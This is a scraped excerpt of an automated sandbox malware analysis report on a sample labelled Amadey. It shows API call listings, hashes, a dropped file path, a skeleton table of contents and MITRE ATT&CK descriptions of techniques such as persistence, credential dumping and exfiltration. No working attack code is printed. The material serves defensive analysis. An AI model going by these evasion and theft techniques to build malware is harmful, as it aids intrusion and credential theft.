Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: ce625cf24dc58ea9de07f82b5e61b0c3359b06124770d73b9dea0357b3156acb
Instruction ID: 6c61332dd819e0049bc70535d740551aa40d5e8c9b497e0e19ee8a1d11c05493
Opcode Fuzzy Hash: ce625cf24dc58ea9de07f82b5e61b0c3359b06124770d73b9dea0357b3156acb
Instruction Fuzzy Hash: D6112932781691AED67067B96C84E2B251F8BC07B57B60234F238831D0FFB78C178524

Uniqueness

Uniqueness Score: -1.00%

Function 00415DB2, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00403AF0,00403AF0,C061E850,0041775D,?,00403AF0,0042CEB8,?,00417C1C,00403AF0,75146490,00403AF0,00403AF0,00403AF0,75146490,0040D323), ref: 00415DB7
_free.LIBCMT ref: 00415E14
_free.LIBCMT ref: 00415E4A
SetLastError.KERNEL32(00000000,00000008,000000FF,?,00417C1C,00403AF0,75146490,00403AF0,00403AF0,00403AF0,75146490,0040D323,?,00411385,0040D323,0042CEB8), ref: 00415E55

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 7c6b78c0d79071f929bed1e8d27eddcd1b99574e12bd45481c014cf03dad743c
Instruction ID: 21afd909f4b194fd6210441988fb04bb61b69f96b30193ecae22d5dba2614194
Opcode Fuzzy Hash: 7c6b78c0d79071f929bed1e8d27eddcd1b99574e12bd45481c014cf03dad743c
Instruction Fuzzy Hash: ED11EB31700A11EA9620377A6C85EEB255587C0779776413FF538862D1ED7D8CD7412C

Uniqueness

Uniqueness Score: -1.00%

Function 02116159, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0211231C,02115737,?,?,021147F3), ref: 0211615E
_free.LIBCMT ref: 021161BB
_free.LIBCMT ref: 021161F1
SetLastError.KERNEL32(00000000,0042E0F8,000000FF,?,?,0211231C,02115737,?,?,021147F3), ref: 021161FC

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 7f3e5a89be83327d4d1bd293e7eec76fc70c2beab19e1d1812f8c083c576c97a
Instruction ID: f6b34982520b36cbc57d4c5ba4738d947c7ced5dcc3b3ef4fe7b733021ef8e77
Opcode Fuzzy Hash: 7f3e5a89be83327d4d1bd293e7eec76fc70c2beab19e1d1812f8c083c576c97a
Instruction Fuzzy Hash: 1A11C632B805517ED7616779AC80E6A256F9BC13B47B60234E128821D1EFB388174524

Uniqueness

Uniqueness Score: -1.00%

Function 00415F09, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(0040D31C,0040D31C,E80042EF,004120CC,004159ED,?,?,0040EBD3,0040D31C,?,0040DD48,E80042F0,75146490), ref: 00415F0E
_free.LIBCMT ref: 00415F6B
_free.LIBCMT ref: 00415FA1
SetLastError.KERNEL32(00000000,00000008,000000FF,?,?,0040EBD3,0040D31C,?,0040DD48,E80042F0,75146490), ref: 00415FAC

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 33735a7aee29de94502b151eaed77777c92c0985cd1506b71b699856dd83d2b2
Instruction ID: d0dcc7bb336abb701bcc015160c95cfd1d415a4e49015081c077152140e836e3
Opcode Fuzzy Hash: 33735a7aee29de94502b151eaed77777c92c0985cd1506b71b699856dd83d2b2
Instruction Fuzzy Hash: DA112C31304911EAE610267A5C81EEB2659CBC0378776023EF438822D1EE7DCCD7812C

Uniqueness

Uniqueness Score: -1.00%

Function 02110264, Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 549e127746ad6c7bd3ee20d666b9d2ccda9dade7604bf89d19fa89fb802e33e3
Instruction ID: 9d7c35dd9b672131847377e402bfe072b3852933830b92e97e0e3a52de465c8e
Opcode Fuzzy Hash: 549e127746ad6c7bd3ee20d666b9d2ccda9dade7604bf89d19fa89fb802e33e3
Instruction Fuzzy Hash: 05118231FC5225ABCB3A8B68DC44B7F7768AF09BA4B520135ED16A7290D730ED41C6E4

Uniqueness

Uniqueness Score: -1.00%

Function 0211684C, Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,021169B1,00000000,?,0211D315,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 02116862
GetLastError.KERNEL32(?,0211D315,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,021169B1,00000000,00000104,?), ref: 0211686C
__dosmaperr.LIBCMT ref: 02116873

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 750d90e04018309d6e3ce2e80e93ff16eb5e1b86fb368af3d40798a4c1480b2f
Instruction ID: a9ead3be1897d517e417696679882bf1abc57b58cc4e9ae0495e5d2ff37ac96a
Opcode Fuzzy Hash: 750d90e04018309d6e3ce2e80e93ff16eb5e1b86fb368af3d40798a4c1480b2f
Instruction Fuzzy Hash: 56F01932640265BF8B246FA6DC0895AFF6EFF452A03158531A919D7520DB32E861DFD0

Uniqueness

Uniqueness Score: -1.00%

Function 021168B5, Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,021169B1,00000000,?,0211D2A0,00000000,00000000,021169B1,?,?,00000000,00000000,00000001), ref: 021168CB
GetLastError.KERNEL32(?,0211D2A0,00000000,00000000,021169B1,?,?,00000000,00000000,00000001,00000000,00000000,?,021169B1,00000000,00000104), ref: 021168D5
__dosmaperr.LIBCMT ref: 021168DC

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 7d495383b710f1faf093cc59933ccc85a4bded580e77670141baabca898ebb25
Instruction ID: 1ae4143a7bedcad40eb90b3910b3479b4401927b7c439932949b33e2c5fb2aa2
Opcode Fuzzy Hash: 7d495383b710f1faf093cc59933ccc85a4bded580e77670141baabca898ebb25
Instruction Fuzzy Hash: A3F06D32640169BF8B241FA2DC0895AFF6DFF452A03168135E918D7520DB32E821DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 02120C95, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(02103D40,?,0042CEB8,00000000,02103D40,?,0211E0DF,02103D40,00000001,02103D40,02103D40,?,0211793C,00000000,?,02103D40), ref: 02120CAC
GetLastError.KERNEL32(?,0211E0DF,02103D40,00000001,02103D40,02103D40,?,0211793C,00000000,?,02103D40,00000000,02103D40,?,02117E90,02103D40), ref: 02120CB8

Part of subcall function 02120C7E: CloseHandle.KERNEL32(0042E930,02120CC8,?,0211E0DF,02103D40,00000001,02103D40,02103D40,?,0211793C,00000000,?,02103D40,00000000,02103D40), ref: 02120C8E

___initconout.LIBCMT ref: 02120CC8

Part of subcall function 02120C40: CreateFileW.KERNEL32(0042AFE4,40000000,00000003,00000000,00000003,00000000,00000000,02120C6F,0211E0CC,02103D40,?,0211793C,00000000,?,02103D40,00000000), ref: 02120C53

WriteConsoleW.KERNEL32(02103D40,?,0042CEB8,00000000,?,0211E0DF,02103D40,00000001,02103D40,02103D40,?,0211793C,00000000,?,02103D40,00000000), ref: 02120CDD

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: fa8bd8c12c7a88df13905f5eddcf1dd08d9ba8f59b07f20002aad9ac96aeefa0
Instruction ID: 0ccccebbb6028ee84ebbbecb4260a53a7cb82b0b4dcff43a26ad06849ec4dd9e
Opcode Fuzzy Hash: fa8bd8c12c7a88df13905f5eddcf1dd08d9ba8f59b07f20002aad9ac96aeefa0
Instruction Fuzzy Hash: D9F01C76640128BBCF225F96DC04A897F66FF087A1B414160FA1985130D7328875AB94

Uniqueness

Uniqueness Score: -1.00%

Function 00420A45, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00403AF0,75146490,0042CEB8,00000000,00403AF0,?,0041DE8F,00403AF0,00000001,00403AF0,00403AF0,?,004176EC,00000000,?,00403AF0), ref: 00420A5C
GetLastError.KERNEL32(?,0041DE8F,00403AF0,00000001,00403AF0,00403AF0,?,004176EC,00000000,?,00403AF0,00000000,00403AF0,?,00417C40,00403AF0), ref: 00420A68

Part of subcall function 00420A2E: CloseHandle.KERNEL32(FFFFFFFE,00420A78,?,0041DE8F,00403AF0,00000001,00403AF0,00403AF0,?,004176EC,00000000,?,00403AF0,00000000,00403AF0), ref: 00420A3E

___initconout.LIBCMT ref: 00420A78

Part of subcall function 004209F0: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00420A1F,0041DE7C,00403AF0,?,004176EC,00000000,?,00403AF0,00000000), ref: 00420A03

WriteConsoleW.KERNEL32(00403AF0,75146490,0042CEB8,00000000,?,0041DE8F,00403AF0,00000001,00403AF0,00403AF0,?,004176EC,00000000,?,00403AF0,00000000), ref: 00420A8D

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: fa8bd8c12c7a88df13905f5eddcf1dd08d9ba8f59b07f20002aad9ac96aeefa0
Instruction ID: a013aed45aa20be437475b0026bfe262562a16a8948ae9efbea31755940ae5c1
Opcode Fuzzy Hash: fa8bd8c12c7a88df13905f5eddcf1dd08d9ba8f59b07f20002aad9ac96aeefa0
Instruction Fuzzy Hash: A0F03736700129BBCF325FD5EC0598E7F65FF147A1F814025FA1885131D6318861EB9C

Uniqueness

Uniqueness Score: -1.00%

Function 02114931, Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0211493A

Part of subcall function 02115711: HeapFree.KERNEL32(00000000,00000000,?,021147F3), ref: 02115727
Part of subcall function 02115711: GetLastError.KERNEL32(?,?,021147F3), ref: 02115739

_free.LIBCMT ref: 0211494D
_free.LIBCMT ref: 0211495E
_free.LIBCMT ref: 0211496F

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ed6feafc550fa1065a8e86d3c97a65e9d970199be6f8b94e087475161f8d8b19
Instruction ID: 864984c61bdd97eae8c294e562d349940232d2a59cc8c9c09a033c71f93e9e71
Opcode Fuzzy Hash: ed6feafc550fa1065a8e86d3c97a65e9d970199be6f8b94e087475161f8d8b19
Instruction Fuzzy Hash: 85E09A75650124BF8A316F16FC818463B73FB847103D24036E81056231CB35055B9FC9

Uniqueness

Uniqueness Score: -1.00%

Function 004146E1, Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004146EA

Part of subcall function 004154C1: HeapFree.KERNEL32(00000000,00000000,?,0041B759,00000000,00000000,00000000,E80042EF,?,0041B780,00000000,00000007,00000000,?,0041BB82,00000000), ref: 004154D7
Part of subcall function 004154C1: GetLastError.KERNEL32(00000000,?,0041B759,00000000,00000000,00000000,E80042EF,?,0041B780,00000000,00000007,00000000,?,0041BB82,00000000,00000000), ref: 004154E9

_free.LIBCMT ref: 004146FD
_free.LIBCMT ref: 0041470E
_free.LIBCMT ref: 0041471F

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: a391a878dd04a21bc529b656dfea6a3e7df8aa93c82ee3481a9b03db89e499dc
Instruction ID: c745ba60f97e2d4d87b6af78ea720ad5864cbd823f739a73dd20a150a1001671
Opcode Fuzzy Hash: a391a878dd04a21bc529b656dfea6a3e7df8aa93c82ee3481a9b03db89e499dc
Instruction Fuzzy Hash: F9E09A75600624EB8B216F16FC419863A71FBC47153C2913AF81452231CB3905DB9FCD

Uniqueness

Uniqueness Score: -1.00%

Function 02113FA0, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe, xrefs: 02113FE3, 02113FEA, 02114020

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe
API String ID: 0-473475495
Opcode ID: a41690f532066a8b71b9e286dfa568cd4f83670d9d2d2647161a3b7c6b7cbf70
Instruction ID: 8f212296e9c110a0be9fd48788962f7849d87c479075583da3108dfae5c01f24
Opcode Fuzzy Hash: a41690f532066a8b71b9e286dfa568cd4f83670d9d2d2647161a3b7c6b7cbf70
Instruction Fuzzy Hash: EE4191B1A80214AFCB25DF9ADC80AEFBBF9EF89B10F550076E414A7250D7718A45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00413D50, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe, xrefs: 00413D93, 00413D9A, 00413DD0

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe
API String ID: 0-473475495
Opcode ID: 5aa56120bd411b6f550849201c1a1e1c76fd655a24e3d97c9c994e481349dc19
Instruction ID: 9682771c9b056e9ecfe8b90a09f19d3fc3ff21ab17bd8dde71222bcf1ffa2253
Opcode Fuzzy Hash: 5aa56120bd411b6f550849201c1a1e1c76fd655a24e3d97c9c994e481349dc19
Instruction Fuzzy Hash: E1416E71A00314ABCB219F999C819EFBBB8EF85711F5000BBF50497251D6789B81CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041A825, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 0041A5CE: GetOEMCP.KERNEL32(00000000,0041A840,00417373,00000000,?,?,00000000,?,00417373), ref: 0041A5F9

_free.LIBCMT ref: 0041A89D

Strings

ssA, xrefs: 0041A857

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _free
String ID: ssA
API String ID: 269201875-2889831464
Opcode ID: d41f6d52fbd4fd4fef80a292fe6fc41e5ec69a9ad7c14e0fcabfd5c9824dc3d7
Instruction ID: 8fc8c036d32de9612cf7c31c04d913b2c1a5afb910598d1080d20a8abe594b57
Opcode Fuzzy Hash: d41f6d52fbd4fd4fef80a292fe6fc41e5ec69a9ad7c14e0fcabfd5c9824dc3d7
Instruction Fuzzy Hash: F531E371900249AFDB01EF69D840BEB7BF4EF80314F11406AF91497291D77A9DA2CB59

Uniqueness

Uniqueness Score: -1.00%

Function 02115093, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 021150C1
_free.LIBCMT ref: 021150E7

Strings

PB, xrefs: 02115100

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: _free
String ID: PB
API String ID: 269201875-2006327516
Opcode ID: c9d7af41f7f505c1ed9ec23d22de7c486df1d63ad133a968193b006fcb6d8a25
Instruction ID: a99e252cee4d9a142bbf80b029f2d014235ea56486da5a98eca887c0219cecdf
Opcode Fuzzy Hash: c9d7af41f7f505c1ed9ec23d22de7c486df1d63ad133a968193b006fcb6d8a25
Instruction Fuzzy Hash: 511186B1B812107BD7309B68BC41B5637A7AB84720FD40636E524DB1E4E774D5878B89

Uniqueness

Uniqueness Score: -1.00%

Function 0041A5CE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

GetOEMCP.KERNEL32(00000000,0041A840,00417373,00000000,?,?,00000000,?,00417373), ref: 0041A5F9
GetACP.KERNEL32(00000000,0041A840,00417373,00000000,?,?,00000000,?,00417373), ref: 0041A610

Strings

ssA, xrefs: 0041A61D

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: ssA
API String ID: 0-2889831464
Opcode ID: b9bbfe466411d2ab749a1a2af092cd243e78ba52f480a5dc930c3f105a7c246f
Instruction ID: 1e92f9a8aadae32bac15e37fb92d95dc9b840e940613ad1b39aa9e2a43853cf2
Opcode Fuzzy Hash: b9bbfe466411d2ab749a1a2af092cd243e78ba52f480a5dc930c3f105a7c246f
Instruction Fuzzy Hash: 97F0AF70901104CBD720CBA5D8087E937B0EB10339F984726E465CA2E1CB75989ACF4E

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	File monitoring, Process command-line parameters
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Amadey

Yara Overview

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
